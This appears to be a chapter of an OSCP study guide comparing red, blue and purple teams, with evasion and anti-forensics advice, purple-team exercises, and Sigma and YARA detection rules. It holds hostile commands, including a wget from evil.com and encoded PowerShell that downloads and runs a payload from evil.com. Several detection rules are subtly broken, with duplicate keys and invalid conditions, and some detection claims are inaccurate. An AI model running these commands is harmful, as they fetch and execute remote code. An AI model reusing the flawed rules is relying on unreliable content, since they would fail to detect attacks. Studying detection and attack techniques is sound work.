Even though the OSCP exam doesn’t have an active Blue Team monitoring you, understanding detection helps you:

Blue Team Knowledge OSCP Application
SIEM alert triggers Avoid noisy techniques that waste time
EDR detection patterns Choose exploitation methods that work reliably
Log analysis techniques Understand what artifacts you leave behind
Incident response procedures Structure your approach methodically

2. Operating More Efficiently

Understanding what Blue Teams look for helps you:

  • Focus on techniques that are less likely to be blocked
  • Avoid unnecessary noise that could trigger automated responses
  • Prioritize high-value targets efficiently
  • Document your work in a way that demonstrates professional methodology

3. Better Exploitation Choices

Noisy Approach (Blue Team will detect):
  Nmap full port scan β†’ Metasploit exploit β†’ Meterpreter shell
  β”‚                    β”‚                    β”‚
  β–Ό                    β–Ό                    β–Ό
Triggers IDS         Known signature      Obvious process
alert                in AV                name

Stealthy Approach (Less detection):
  Targeted service check β†’ Custom exploit β†’ Reverse shell via nc
  β”‚                      β”‚                β”‚
  β–Ό                      β–Ό                β–Ό
Minimal noise          Unique signature  Common process
                       (or manual        name
                       exploitation)

How Blue Team Knowledge Helps with Evasion

Understanding Detection Mechanisms

Detection Method What It Catches How to Operate Within Constraints
Signature-based AV Known malware hashes Use custom payloads, manual exploitation
Behavioral EDR Suspicious process behavior Use legitimate tools, limit suspicious actions
Network IDS Known attack patterns Use encrypted channels, limit scanning
Log Analysis Unusual login patterns Use valid credentials, avoid brute force
File Integrity Modified system files Avoid modifying critical system files

Purple Team Mindset for Better Testing

Adopting a purple team mindset during OSCP preparation means:

  1. Think like the defender β€” Before exploiting, ask β€œWhat would a Blue Team look for?”
  2. Validate your detections β€” After exploiting, check if your actions would trigger alerts
  3. Improve continuously β€” Use each lab session to learn both offensive and defensive techniques
  4. Document thoroughly β€” Professional reporting is part of the exam grade

Detection and Evasion

What Blue Team Tools Detect

SIEM Detection Capabilities

Log Source Detectable Activities Example Alerts
Windows Event Logs Logins, process creation, registry changes Failed logins, suspicious PowerShell, Mimikatz execution
Firewall Logs Network connections, blocked traffic Port scans, C2 communication, data exfiltration
DNS Logs Domain queries, DNS tunneling DGA domains, known malicious domains, high entropy queries
Proxy Logs HTTP/HTTPS traffic Malicious URLs, file downloads, suspicious user agents
Email Logs Phishing, malicious attachments Known phishing patterns, malicious attachments
Application Logs Web app attacks, database queries SQL injection, XSS, command injection

EDR Detection Capabilities

Detection Type What It Monitors Example Detections
Process Creation New processes, command lines PowerShell with encoded commands, Mimikatz execution
File Operations File creation, modification, deletion Malware drops, config file changes
Registry Changes Registry key modifications Persistence mechanisms, run keys
Network Connections Outbound connections, DNS queries C2 communication, data exfiltration
Memory Activity Process injection, code injection Reflective DLL injection, process hollowing
Credential Access LSASS access, credential dumping Mimikatz, Procdump targeting LSASS

How to Operate Quietly During an Engagement

General OPSEC Principles

1. Minimize Noise
   β”œβ”€ Avoid full port scans (use targeted service checks)
   β”œβ”€ Limit failed authentication attempts
   β”œβ”€ Use encrypted communication channels
   └─ Time operations to blend with normal traffic

2. Use Legitimate Tools
   β”œβ”€ Prefer LOLBins over custom tools
   β”œβ”€ Use built-in OS utilities for enumeration
   β”œβ”€ Leverage legitimate admin tools
   └─ Avoid obvious attack tool signatures

3. Limit Artifacts
   β”œβ”€ Avoid dropping files when possible
   β”œβ”€ Use memory-only techniques
   β”œβ”€ Clean up after operations
   └─ Minimize log generation

4. Operate Within Norms
   β”œβ”€ Use normal business hours
   β”œβ”€ Mimic legitimate user behavior
   β”œβ”€ Use expected network paths
   └─ Avoid unusual geographic locations

Specific Technique Comparisons

Noisy Technique Quieter Alternative
nmap -sS -p- target nmap -sS -p 22,80,443,3389 target
hydra -l admin -P wordlist.txt ssh://target Use valid credentials obtained through other means
msfconsole β†’ use exploit/... β†’ exploit Manual exploitation with custom scripts
mimikatz.exe procdump.exe + offline analysis
powershell -enc <base64> powershell -file script.ps1 (with legitimate-looking name)
wget http://evil.com/payload Use legitimate download mechanisms

Anti-Forensics Basics

Important: Anti-forensics techniques should only be used in authorized engagements. Unauthorized use is illegal and unethical.

Common Anti-Forensics Techniques

Technique Description Detection Risk
Log Clearing Clearing event logs to remove evidence High β€” log clearing itself is detectable
Timestamp Manipulation Modifying file timestamps to mislead investigators Medium β€” can be detected with proper tools
File Carving Prevention Overwriting deleted files to prevent recovery Low β€” requires specific tools
Memory Evasion Operating in memory to avoid disk artifacts Medium β€” EDR can detect memory activity
Encryption Encrypting data to prevent analysis Low β€” encryption itself may be suspicious
Rootkits Hiding processes and files High β€” EDR and AV detect rootkits

Log Manipulation (Ethical Considerations)

⚠️  ETHICAL WARNING ⚠️

Log manipulation should ONLY be performed:
1. In authorized penetration tests with explicit permission
2. In controlled lab environments
3. For educational purposes

Unauthorized log manipulation is:
- Illegal in most jurisdictions
- A violation of computer fraud laws
- Grounds for termination and legal action
- A breach of professional ethics

In the OSCP exam:
- Do NOT clear logs on exam machines
- Do NOT modify system configurations
- Focus on exploitation and documentation
- The exam is graded on successful compromise, not evasion

Timing and Noise Reduction

Optimal Timing Strategies

Strategy Description Benefit
Business Hours Operate during normal working hours Blends with normal traffic patterns
Avoid Peak Hours Avoid times of highest network activity Reduces chance of standing out
Stagger Operations Space out scanning and exploitation Avoids burst detection
Rate Limiting Limit the speed of automated tools Reduces noise and detection

Noise Reduction Techniques

# Noisy: Full port scan
nmap -sS -p- 10.10.10.1

# Quieter: Targeted port scan
nmap -sS -p 22,80,443,3389,8080,8443 10.10.10.1

# Quieter: Single port check
nc -zv 10.10.10.1 80

# Noisy: Aggressive service detection
nmap -sV -sC -A -p- 10.10.10.1

# Quieter: Minimal service detection
nmap -sV --version-light -p 80,443 10.10.10.1

Career Paths

Red Team Career Progression

Entry Level (0-2 years)
β”œβ”€β”€ Roles: Junior Penetration Tester, Security Analyst
β”œβ”€β”€ Certifications: eJPT, Security+, CEH
β”œβ”€β”€ Skills: Basic exploitation, scripting, networking
└── Salary Range: $60,000 - $90,000

Mid Level (2-5 years)
β”œβ”€β”€ Roles: Penetration Tester, Red Team Operator
β”œβ”€β”€ Certifications: OSCP, OSWE, CRTP
β”œβ”€β”€ Skills: Advanced exploitation, AD attacks, custom tooling
└── Salary Range: $90,000 - $130,000

Senior Level (5-10 years)
β”œβ”€β”€ Roles: Senior Red Team Operator, Red Team Lead
β”œβ”€β”€ Certifications: OSEP, OSMP, CRTO
β”œβ”€β”€ Skills: Full kill chain operations, OPSEC, mentoring
└── Salary Range: $130,000 - $180,000

Expert Level (10+ years)
β”œβ”€β”€ Roles: Red Team Manager, Principal Consultant
β”œβ”€β”€ Certifications: OSCE3, custom engagements
β”œβ”€β”€ Skills: Strategy, program development, thought leadership
└── Salary Range: $180,000 - $250,000+

Blue Team Career Progression

Entry Level (0-2 years)
β”œβ”€β”€ Roles: SOC Analyst Tier 1, Security Operations Analyst
β”œβ”€β”€ Certifications: Security+, CySA+, GSEC
β”œβ”€β”€ Skills: SIEM basics, log analysis, ticketing
└── Salary Range: $55,000 - $85,000

Mid Level (2-5 years)
β”œβ”€β”€ Roles: SOC Analyst Tier 2, Incident Responder
β”œβ”€β”€ Certifications: GCIH, GCFA, GIAC
β”œβ”€β”€ Skills: Advanced log analysis, malware analysis, IR
└── Salary Range: $85,000 - $120,000

Senior Level (5-10 years)
β”œβ”€β”€ Roles: Threat Hunter, Detection Engineer, IR Lead
β”œβ”€β”€ Certifications: GCIA, GCFR, GNFA
β”œβ”€β”€ Skills: Threat hunting, detection engineering, leadership
└── Salary Range: $120,000 - $160,000

Expert Level (10+ years)
β”œβ”€β”€ Roles: SOC Manager, CISO, Security Architect
β”œβ”€β”€ Certifications: CISM, CISSP, custom programs
β”œβ”€β”€ Skills: Strategy, architecture, executive communication
└── Salary Range: $160,000 - $250,000+

How OSCP Fits Into Each Path

For Red Team Careers

Career Stage OSCP Value
Entry Level OSCP is often a minimum requirement for pentest roles
Mid Level OSCP validates practical skills beyond theory
Senior Level OSCP is a foundation; pursue OSEP, OSMP for advancement
Expert Level OSCP is table stakes; focus on specialized certifications

For Blue Team Careers

Career Stage OSCP Value
Entry Level OSCP provides deep understanding of attack techniques
Mid Level OSCP helps in detection engineering and threat hunting
Senior Level OSCP enables better threat modeling and detection design
Expert Level OSCP knowledge informs security architecture decisions

Key Insight: OSCP is valuable for both Red and Blue Team careers. Understanding how attacks work makes you a better defender. Many Blue Team professionals hold OSCP certification.

When to Pursue Purple Team Skills

Consider developing purple team skills when:

Situation Recommendation
You have 2+ years Red Team experience Add Blue Team detection skills
You have 2+ years Blue Team experience Add Red Team attack skills
You want to move into leadership Purple team skills bridge both worlds
You work in a small security team Purple team skills maximize your value
You want to improve detection coverage Purple team exercises validate detections

Practical Examples

Red Team Attack Scenario with Blue Team Detection

Scenario: Active Directory Compromise

Attack Chain:

1. Initial Access: Phishing email with malicious attachment
   β”‚
   β–Ό
2. Execution: Victim opens attachment, PowerShell executes
   β”‚
   β–Ό
3. Persistence: Scheduled task created for callback
   β”‚
   β–Ό
4. Privilege Escalation: Local admin via misconfigured service
   β”‚
   β–Ό
5. Discovery: BloodHound data collection via SharpHound
   β”‚
   β–Ό
6. Lateral Movement: Pass-the-Hash to domain controller
   β”‚
   β–Ό
7. Credential Access: DCSync attack to extract domain admin hash
   β”‚
   β–Ό
8. Objective Achieved: Domain admin access obtained

Blue Team Detection Points:

Attack Step Detection Method Detection Rule Example
Phishing email Email gateway, sandbox Attachment contains executable, sender reputation
PowerShell execution EDR, Windows logs -enc or -encodedcommand in PowerShell
Scheduled task Windows Event Log 4697 New scheduled task created by non-admin
Service misconfig Vulnerability scanner, EDR Service with writable binary path
SharpHound execution EDR, process monitoring SharpHound.exe or BloodHound in process name
Pass-the-Hash Windows Event Log 4624 LogonType 3 Multiple failed logins followed by success
DCSync Windows Event Log 4662, 5136 Replication-Get Changes request
Domain admin access Windows Event Log 4769 Kerberos TGS request for high-privilege account

Purple Team Exercise:

Exercise: AD Compromise Detection Validation

Phase 1: Red executes phishing simulation
  - Blue detects: Email gateway blocks attachment
  - Gap: No detection for legitimate-looking attachments

Phase 2: Red executes PowerShell on compromised host
  - Blue detects: EDR alerts on encoded PowerShell
  - Gap: No detection for legitimate PowerShell scripts

Phase 3: Red creates scheduled task
  - Blue detects: SIEM alert on Event ID 4697
  - Gap: Alert not correlated with other indicators

Phase 4: Red escalates to local admin
  - Blue detects: No detection (vulnerability not patched)
  - Gap: No vulnerability monitoring for this misconfiguration

Phase 5: Red runs SharpHound
  - Blue detects: EDR alerts on SharpHound execution
  - Gap: Alert treated as low priority

Phase 6: Red performs Pass-the-Hash
  - Blue detects: SIEM alert on unusual LogonType 3
  - Gap: Alert not investigated promptly

Phase 7: Red performs DCSync
  - Blue detects: SIEM alert on replication requests
  - Gap: Alert generated but not acted upon

Phase 8: Red achieves domain admin
  - Blue detects: SIEM alert on high-privilege Kerberos ticket
  - Gap: Too late β€” objective already achieved

Purple Team Recommendations:
  1. Improve email gateway rules for attachment analysis
  2. Create correlation rule for PowerShell + scheduled task
  3. Add vulnerability monitoring for service misconfigurations
  4. Increase priority for SharpHound detection alerts
  5. Create automated response for DCSync detection
  6. Implement privileged access monitoring

Purple Team Exercise Walkthrough

Exercise: PowerShell Detection Improvement

Objective: Improve detection of malicious PowerShell activity

Step 1: Baseline Current Detection

Current State:
- SIEM has rule for PowerShell with -enc flag
- MTTD: 15 minutes
- False positive rate: 25%
- Missed detections: Legitimate admin scripts using -enc

Step 2: Red Team Executes Test

# Test 1: Obvious malicious PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKCAnAGgAdAB0AHAAOAAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAnACkA

# Test 2: Legitimate-looking PowerShell
powershell -file C:\Scripts\UpdateSoftware.ps1

# Test 3: PowerShell with DownloadString
powershell -command "IEX (New-Object Net.WebClient).DownloadString('http://internal-server/Update.ps1')"

Step 3: Blue Team Analyzes Results

Results:
- Test 1: Detected in 2 minutes (existing rule)
- Test 2: Not detected (no -enc flag)
- Test 3: Not detected (no -enc flag)

Gaps Identified:
- Detection only covers -enc flag
- No detection for DownloadString
- No detection for IEX (Invoke-Expression)

Step 4: Blue Team Creates Improved Detection

# Improved Sigma Rule
title: Malicious PowerShell Activity
id: b2c3d4e5-f6a7-8901-bcde-f23456789012
status: experimental
description: Detects malicious PowerShell activity including encoded commands and web requests
logsource:
  category: process_creation
  product: windows
detection:
  selection_process:
    Image|endswith: '\powershell.exe'
    Image|endswith: '\pwsh.exe'
  selection_encoded:
    CommandLine|contains:
      - '-enc'
      - '-encodedcommand'
  selection_web:
    CommandLine|contains:
      - 'DownloadString'
      - 'DownloadFile'
      - 'IEX'
      - 'Invoke-Expression'
  selection_suspicious:
    CommandLine|contains:
      - 'Bypass'
      - 'AllSigned'
      - 'RemoteSigned'
  condition: selection_process and 1 of selection_encoded, selection_web, selection_suspicious
falsepositives:
  - Legitimate admin scripts
  - Software installation scripts
level: medium

Step 5: Red Team Validates New Detection

Validation Results:
- Test 1: Detected βœ“ (2 minutes)
- Test 2: Not detected βœ“ (expected β€” legitimate script)
- Test 3: Detected βœ“ (3 minutes)

New Metrics:
- MTTD: 3 minutes (improved from 15 minutes for non-encoded)
- False positive rate: 15% (improved from 25%)
- Detection coverage: 3 techniques (improved from 1)

Detection Rule Examples

Sigma Rules for Common OSCP Techniques

# Rule 1: Detect Nmap Execution
title: Nmap Network Scanner Execution
id: c3d4e5f6-a7b8-9012-cdef-345678901234
status: experimental
description: Detects execution of Nmap network scanner
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith:
      - '\nmap.exe'
      - '\nmap-cli.exe'
  condition: selection
falsepositives:
  - Authorized security testing
level: medium
tags:
  - attack.discovery
  - attack.t1046

---

# Rule 2: Detect Metasploit Payload
title: Metasploit Meterpreter Reverse Shell
id: d4e5f6a7-b8c9-0123-defa-456789012345
status: experimental
description: Detects Metasploit meterpreter reverse shell activity
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
  selection_child:
    Image|endswith:
      - '\svchost.exe'
      - '\rundll32.exe'
      - '\mshta.exe'
  selection_command:
    CommandLine|contains|all:
      - '10.'
      - '4444'
  condition: selection_parent and selection_child and selection_command
falsepositives:
  - Legitimate administrative tasks
level: high
tags:
  - attack.execution
  - attack.t1059

---

# Rule 3: Detect Linpeas Execution
title: Linux Privilege Escalation Script Execution
id: e5f6a7b8-c9d0-1234-efab-567890123456
status: experimental
description: Detects execution of common Linux privilege escalation scripts
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains:
      - 'linpeas'
      - 'linenum'
      - 'linux-smart-enumeration'
      - 'unix-privesc-check'
  condition: selection
falsepositives:
  - Authorized security testing
level: medium
tags:
  - attack.privilege_escalation
  - attack.t1068

YARA Rules for Common Tools

rule nmap_executable : nmap scanner
{
    meta:
        description = "Detects Nmap executable"
        author = "Security Team"
        date = "2026-01-15"

    strings:
        $mz = { 4D 5A }
        $nmap1 = "nmap" ascii wide
        $nmap2 = "Nmap Scan Report" ascii wide
        $nmap3 = "scanme.nmap.org" ascii wide

    condition:
        $mz at 0 and
        2 of ($nmap1, $nmap2, $nmap3)
}

rule metasploit_payload : metasploit
{
    meta:
        description = "Detects Metasploit meterpreter payload"
        author = "Security Team"
        date = "2026-01-15"

    strings:
        $mz = { 4D 5A }
        $meterpreter = "meterpreter" ascii wide
        $msf1 = "meterpreter" ascii wide
        $msf2 = "LHOST" ascii wide
        $msf3 = "LPORT" ascii wide
        $msf4 = "SESSION" ascii wide

    condition:
        $mz at 0 and
        2 of ($meterpreter, $msf1, $msf2, $msf3, $msf4)
}

Lab Exercises

Exercise 1: Set Up a Simple SIEM and Detect Your Own Attacks

Objective

Set up a basic SIEM environment and detect your own penetration testing activities.

Prerequisites

  • VirtualBox or VMware
  • At least 16GB RAM
  • 50GB free disk space

Step 1: Deploy Elastic Stack (ELK)

# Option 1: Using Docker Compose
docker-compose up -d elasticsearch kibana logstash

# Option 2: Using Detection Lab (Vagrant)
git clone https://github.com/clong/DetectionLab.git
cd DetectionLab
vagrant up

Step 2: Deploy Windows Target

# Install Winlogbeat on Windows target
.\install-service-winlogbeat.ps1

# Configure Winlogbeat to send to Elastic
# Edit winlogbeat.yml:
# output.elasticsearch:
#   hosts: ["<elastic-ip>:9200"]

# Start Winlogbeat
Start-Service winlogbeat

Step 3: Perform Attacks and Observe Detection

# Attack 1: Failed login attempts
for i in {1..10}; do
    sshpass -p 'wrongpassword' ssh user@10.10.10.1
done

# Check Kibana for:
# - Windows Event ID 4625 (Failed logon)
# - Multiple failed attempts from same source

# Attack 2: PowerShell execution
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcA

# Check Kibana for:
# - Windows Event ID 4688 (Process creation)
# - PowerShell with -enc flag

# Attack 3: Nmap scan
nmap -sS -p 22,80,443 10.10.10.1

# Check Kibana for:
# - Process creation event for nmap.exe
# - Network connection logs

Step 4: Create Detection Rules

# Create a Sigma rule for failed logins
title: Multiple Failed Logins
id: f6a7b8c9-d0e1-2345-fabc-678901234567
status: experimental
description: Detects multiple failed login attempts from the same source
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    EventID: 4625
  condition: selection
  filter:
    EventID:
      - 4625
  group_by:
    - TargetUserName
    - SourceIpAddress
  condition: count(EventID=4625) > 5 by TargetUserName, SourceIpAddress over 5m
falsepositives:
  - Legitimate users entering wrong passwords
level: medium

Exercise 2: Write Detection Rules for Common OSCP Techniques

Objective

Create detection rules for techniques commonly used in OSCP labs.

Technique 1: Linpeas Execution

# Sigma Rule
title: Linux Privilege Escalation Script Execution
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects execution of common Linux privilege escalation scripts
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    CommandLine|contains:
      - 'linpeas'
      - 'linenum'
      - 'linux-smart-enumeration'
  condition: selection
falsepositives:
  - Authorized security testing
level: medium

Technique 2: Metasploit Payload Execution

# Sigma Rule
title: Metasploit Meterpreter Reverse Shell
id: b2c3d4e5-f6a7-8901-bcde-f23456789012
status: experimental
description: Detects Metasploit meterpreter reverse shell activity
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith:
      - '\svchost.exe'
      - '\rundll32.exe'
    CommandLine|contains:
      - '10.'
      - '4444'
  condition: selection
falsepositives:
  - Legitimate administrative tasks
level: high

Technique 3: Credential Dumping

# Sigma Rule
title: Credential Dumping Tool Execution
id: c3d4e5f6-a7b8-9012-cdef-345678901234
status: experimental
description: Detects execution of credential dumping tools
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith:
      - '\mimikatz.exe'
      - '\procdump.exe'
      - '\sekurlsa.txt'
    CommandLine|contains:
      - 'sekurlsa'
      - 'kerberos::'
      - 'lsass'
  condition: selection
falsepositives:
  - Authorized security testing
  - Legitimate use of procdump for debugging
level: high

Key Tools Comparison

Comprehensive Tool Comparison Table

Category Red Team Tools Blue Team Tools Purple Team Tools
C2 Framework Cobalt Strike, Sliver, Mythic, Havoc β€” Caldera
Exploitation Metasploit, Custom Exploits β€” Atomic Red Team
Reconnaissance Nmap, BloodHound, CrackMapExec Wireshark, Zeek, Suricata MITRE ATT&CK Navigator
Credential Attacks Mimikatz, Rubeus, Hashcat β€” Atomic Red Team
SIEM β€” Splunk, Elastic, Sentinel, QRadar Elastic, Wazuh
EDR β€” CrowdStrike, SentinelOne, Defender Wazuh
IDS/IPS β€” Suricata, Snort, Zeek Suricata
Detection Rules β€” Sigma, YARA, custom rules Sigma, YARA
Threat Intel β€” MISP, OpenCTI, AlienVault MISP, ATT&CK
SOAR β€” Splunk SOAR, TheHive, Shuffle β€”
Vulnerability Scanning Nessus, OpenVAS, Nuclei Nessus, Qualys, OpenVAS β€”
Malware Analysis β€” Cuckoo Sandbox, ANY.RUN, Joe Sandbox Cuckoo Sandbox
Forensics β€” Autopsy, FTK, EnCase, Volatility β€”
Scripting PowerShell, Python, Bash PowerShell, Python, Bash PowerShell, Python, Bash

Tool Selection Guide

Scenario Recommended Tools
OSCP Lab Practice Nmap, Metasploit, Burp Suite, John the Ripper, Linpeas
Red Team Engagement Cobalt Strike, BloodHound, Mimikatz, Custom C2
Blue Team SOC Splunk/Elastic, CrowdStrike/SentinelOne, Suricata
Purple Team Exercise Atomic Red Team, Sigma, Caldera, MITRE ATT&CK Navigator
Home Lab Elastic Stack, Wazuh, Suricata, Atomic Red Team

Exam Tips

Operating Stealthily During the OSCP Exam

Important: The OSCP exam does not have an active Blue Team monitoring you. However, operating efficiently and methodically is still important for success.

Key Exam Strategies

Strategy Description Benefit
Methodical Approach Follow a structured methodology Ensures you don’t miss opportunities
Efficient Scanning Use targeted scans instead of full scans Saves time and reduces noise
Note Taking Document everything as you go Makes reporting easier and faster
Time Management Allocate time per machine Prevents getting stuck on one target
Privilege Escalation First Check for privesc before lateral movement Maximizes points per machine

Efficient Scanning Techniques

# Quick initial scan
nmap -sS -p 22,80,443,3389,8080,8443,53,21,25,110,143,993,995,1433,3306,5432,6379,27017,9200,5900,5985,5986,135,139,445,137,138,389,636,88,464,3268,3269,5357,47001,49152-49200 -T4 --min-rate 1000 -oN initial_scan.txt <target>

# If web service found, detailed web scan
nmap -sV -sC -p 80,443,8080,8443 -T4 --min-rate 1000 -oN web_scan.txt <target>

# If SMB found, SMB enumeration
nmap -sV -p 445 --script smb-enum-shares,smb-enum-users,smb-enum-sessions -oN smb_scan.txt <target>

Time Management Framework

24-Hour Exam Time Allocation:

Hour 0-2: Initial Reconnaissance
  β”œβ”€ Network discovery
  β”œβ”€ Service enumeration
  └─ Vulnerability identification

Hour 2-8: Exploitation Phase 1
  β”œβ”€ Exploit easiest targets first
  β”œβ”€ Document findings
  └─ Escalate privileges

Hour 8-10: Break and Review
  β”œβ”€ Take a break
  β”œβ”€ Review notes
  └─ Plan next steps

Hour 10-18: Exploitation Phase 2
  β”œβ”€ Tackle harder targets
  β”œβ”€ Lateral movement
  └─ Domain compromise

Hour 18-22: Final Exploitation
  β”œβ”€ Remaining targets
  β”œβ”€ Root/admin access
  └─ Flag collection

Hour 22-24: Report Writing
  β”œβ”€ Compile findings
  β”œβ”€ Write executive summary
  └─ Submit report

What NOT to Do in the OSCP Exam

Action Reason
Clear logs Not required, wastes time, may be flagged
Modify system configs Not required, may break things
Use anti-forensics Not required, wastes time
Brute force without reason Wastes time, may lock accounts
Skip documentation Report is 25% of your grade
Ignore easier targets Points are points β€” take them

Cross-References

Topic Reference Relationship
SOC Operations SOC fundamentals, alert triage, incident response Blue Team core operations
Attack Lifecycle Kill chain, cyber kill chain, MITRE ATT&CK Framework for both Red and Blue
AV Evasion Antivirus evasion techniques, AMSI bypass Red Team OPSEC techniques
Reporting Penetration test reporting, executive summaries Critical for OSCP exam success
Active Directory Attacks Kerberoasting, DCSync, Pass-the-Hash Common Red Team techniques
Privilege Escalation Linux and Windows privesc techniques Core OSCP skill
Web Application Testing OWASP Top 10, Burp Suite usage Common OSCP target type
Threat Intelligence IOC, TTP, threat feeds Blue Team detection foundation
Digital Forensics Memory forensics, disk forensics Blue Team investigation skills
Security Architecture Defense in depth, zero trust Blue Team design principles

MITRE ATT&CK Mapping

Team ATT&CK Role Key Tactics
Red Team Technique execution Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, Command and Control
Blue Team Detection and response All tactics β€” focus on detection coverage and response playbooks
Purple Team Validation and improvement All tactics β€” focus on gap identification and detection improvement

Summary

Key Takeaways

  1. Red Team simulates adversaries to find weaknesses and validate defenses
  2. Blue Team defends systems, detects intrusions, and responds to incidents
  3. Purple Team bridges Red and Blue for continuous improvement
  4. OSCP is a penetration test β€” understanding all perspectives makes you better
  5. Detection knowledge helps you operate more efficiently
  6. Purple team mindset improves both offensive and defensive skills
  7. Career paths exist for all three team types β€” OSCP is valuable for all

Final Thoughts

The most effective security professionals understand both offensive and defensive perspectives. While OSCP focuses on red team skills, understanding blue team detection capabilities and purple team collaboration methods will make you a more well-rounded security professional.

β€œThe best way to learn to defend is to learn to attack. The best way to learn to attack is to learn how you get detected.” β€” Unknown Security Professional

  1. Practice: Set up a home lab with Elastic Stack and detect your own attacks
  2. Learn: Study MITRE ATT&CK framework from both Red and Blue perspectives
  3. Certify: Consider blue team certifications (GCIH, GCFA) alongside OSCP
  4. Collaborate: Participate in purple team exercises if available
  5. Document: Practice writing professional reports for both Red and Blue findings

Last Updated: 2026-09-01 Chapter: 01 - Introduction to CyberSecurity Topic: 13 - Red Team vs Blue Team vs Purple Team